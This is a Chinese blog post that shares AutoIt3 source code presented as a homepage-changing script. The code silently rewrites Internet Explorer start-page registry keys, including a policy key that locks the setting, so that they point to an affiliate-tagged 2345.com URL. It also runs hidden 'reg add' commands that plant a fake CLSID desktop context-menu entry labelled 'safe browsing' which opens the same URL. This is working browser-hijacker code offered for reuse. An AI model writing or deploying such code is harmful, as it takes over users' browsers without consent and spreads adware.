• 欢迎访问奇跡の海网站,本站不上传任何资源,所有资源均来自于网络,欢迎加入奇跡の海~!奇跡の海-WordPress QQ群
  • 本站下载资源为网络上收集整理而来,并且以计算机技术研究交流为目的,版权归原作者所有,仅供大家参考,学习,不存在任何商业目的与商业用途.
  • 本站系统镜像均来自于官方原版,ed2k可视为P2P下载链接。所有操作系统默认均为试用版,如有正版密钥可以有效激活,本站不提供任何激活和相关服务。

AU3源码(autoit3)修改系统注册表主页(首页)源代码

AutoIT3 奇跡の海 2年前 (2017-08-07) 956次浏览 已收录 0个评论 扫描二维码

AU3源码(autoit3)修改系统注册表主页(首页)源代码

简介

修改系统主页(首页)源代码,通过修改注册表

源代码

#Region ;**** 参数创建于 ACNWrapper_GUI ****
#PRE_icon=C:\Windows\syswow64\SHELL32.dll|-14
#PRE_Outfile=Auto.exe
#PRE_UseUpx=n
#PRE_UseX64=n
#PRE_Res_requestedExecutionLevel=None
#EndRegion ;**** 参数创建于 ACNWrapper_GUI ****
If @OSVersion = "WIN_XP" Then
	Local $reg ="HKLM\Software\Microsoft\Internet Explorer\Main"
    Local $reg1 ="HKCU\Software\Microsoft\Internet Explorer\Main"
    Local $reg2 ="Start Page"
    Local $reg3 ="Default_Page_URL"
    Local $home ="http://www.2345.com/?ka8080"
    Local $reg5="HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Main"
    Local $reg4="Start Page"
    Local $reg6="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu"
    Local $reg7="{871C5380-42A0-1069-A2EA-08002B30309D}"
    Local $reg8="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel"
    Local $reg9="HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command"
    Local $reg0='"C:\Program Files\Internet Explorer\iexplore.exe" www.2345.com/?ka8080'
    RegWrite($reg1,$reg2, "REG_SZ",$home)
    RegWrite($reg1,$reg3, "REG_SZ",$home)
    RegWrite($reg,$reg2, "REG_SZ",$home)
    RegWrite($reg,$reg3, "REG_SZ",$home)
    RegWrite($reg5,$reg4, "REG_SZ",$home)
    RegWrite($reg6,$reg7, "REG_DWORD","0")
    RegWrite($reg8,$reg7, "REG_DWORD","0")
    RegWrite($reg9,"", "REG_SZ",$reg0)
	Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002} ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\InProcServer32 ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\InProcServer32 /ve /t reg_expand_sz /d %SystemRoot%\system32\shdocvw.dll /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance /v CLSID /t reg_sz /d {3f454f0e-42ae-4d7c-8ea3-328250d6e272} /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag /v Param1 /t reg_sz /d http://www.2345.com/?ka8080 /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag /v command /t reg_sz /d "安全上网" /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag /v method /t reg_sz /d ShellExecute /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag /v CLSID /t reg_sz /d {13709620-C279-11CE-A49E-444553540000} /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers\{00000000-0000-0000-0000-000000000002} ', '', @SW_HIDE)
ElseIf @OSVersion = "WIN_2003" Then
	Local $reg ="HKLM\Software\Microsoft\Internet Explorer\Main"
    Local $reg1 ="HKCU\Software\Microsoft\Internet Explorer\Main"
    Local $reg2 ="Start Page"
    Local $reg3 ="Default_Page_URL"
    Local $home ="http://www.2345.com/?ka8080"
    Local $reg5="HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Main"
    Local $reg4="Start Page"
    Local $reg6="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu"
    Local $reg7="{871C5380-42A0-1069-A2EA-08002B30309D}"
    Local $reg8="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel"
    Local $reg9="HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command"
    Local $reg0='"C:\Program Files\Internet Explorer\iexplore.exe" www.2345.com/?ka8080'
    RegWrite($reg1,$reg2, "REG_SZ",$home)
    RegWrite($reg1,$reg3, "REG_SZ",$home)
    RegWrite($reg,$reg2, "REG_SZ",$home)
    RegWrite($reg,$reg3, "REG_SZ",$home)
    RegWrite($reg5,$reg4, "REG_SZ",$home)
    RegWrite($reg6,$reg7, "REG_DWORD","0")
    RegWrite($reg8,$reg7, "REG_DWORD","0")
    RegWrite($reg9,"", "REG_SZ",$reg0)
	Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002} ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\InProcServer32 ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\InProcServer32 /ve /t reg_expand_sz /d %SystemRoot%\system32\shdocvw.dll /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance /v CLSID /t reg_sz /d {3f454f0e-42ae-4d7c-8ea3-328250d6e272} /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag /v Param1 /t reg_sz /d http://www.2345.com/?ka8080 /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag /v command /t reg_sz /d "安全上网" /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag /v method /t reg_sz /d ShellExecute /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag /v CLSID /t reg_sz /d {13709620-C279-11CE-A49E-444553540000} /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers\{00000000-0000-0000-0000-000000000002} ', '', @SW_HIDE)	
Else
	Local $reg ="HKLM\Software\Microsoft\Internet Explorer\Main"
    Local $reg1 ="HKCU\Software\Microsoft\Internet Explorer\Main"
    Local $reg2 ="Start Page"
    Local $reg3 ="Default_Page_URL"
    Local $home ="http://www.2345.com/?ka8080"
    Local $reg5="HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Main"
    Local $reg4="Start Page"
    Local $reg6="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu"
    Local $reg7="{B416D21B-3B22-B6D4-BBD3-BBD452DB3D5B}"
    Local $reg8="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel"
    Local $reg9="HKEY_CLASSES_ROOT\CLSID\{B416D21B-3B22-B6D4-BBD3-BBD452DB3D5B}\shell\OpenHomePage\Command"
    Local $reg0='"C:\Program Files\Internet Explorer\iexplore.exe" www.2345.com/?ka8080'
    RegWrite($reg1,$reg2, "REG_SZ",$home)
    RegWrite($reg1,$reg3, "REG_SZ",$home)
    RegWrite($reg,$reg2, "REG_SZ",$home)
    RegWrite($reg,$reg3, "REG_SZ",$home)
    RegWrite($reg5,$reg4, "REG_SZ",$home)
	Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002} ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\InProcServer32 ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\InProcServer32 /ve /t reg_expand_sz /d %SystemRoot%\system32\shdocvw.dll /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance /v CLSID /t reg_sz /d {3f454f0e-42ae-4d7c-8ea3-328250d6e272} /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag /v Param1 /t reg_sz /d http://www.2345.com/?ka8080 /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag /v command /t reg_sz /d "安全上网" /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag /v method /t reg_sz /d ShellExecute /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag /v CLSID /t reg_sz /d {13709620-C279-11CE-A49E-444553540000} /f ', '', @SW_HIDE)
    Run(@ComSpec & ' /c ' & 'reg add HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers\{00000000-0000-0000-0000-000000000002} ', '', @SW_HIDE)
 ;   RegWrite($reg6,$reg7, "REG_DWORD","0")
 ;   RegWrite($reg8,$reg7, "REG_DWORD","0")
 ;   RegWrite($reg9,"", "REG_SZ",$reg0)
EndIf

版权声明:本站所有文章和资源使用CC BY-NC-SA 4.0协议授权发布 , 转载应当以相同方式注明文章来自“SeaOMC.COM->AU3源码(autoit3)修改系统注册表主页(首页)源代码!在下边可以分享本文哦!
喜欢 (0)
[]
分享 (0)
奇跡の海
关于作者:
一个WordPress菜鸟!
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址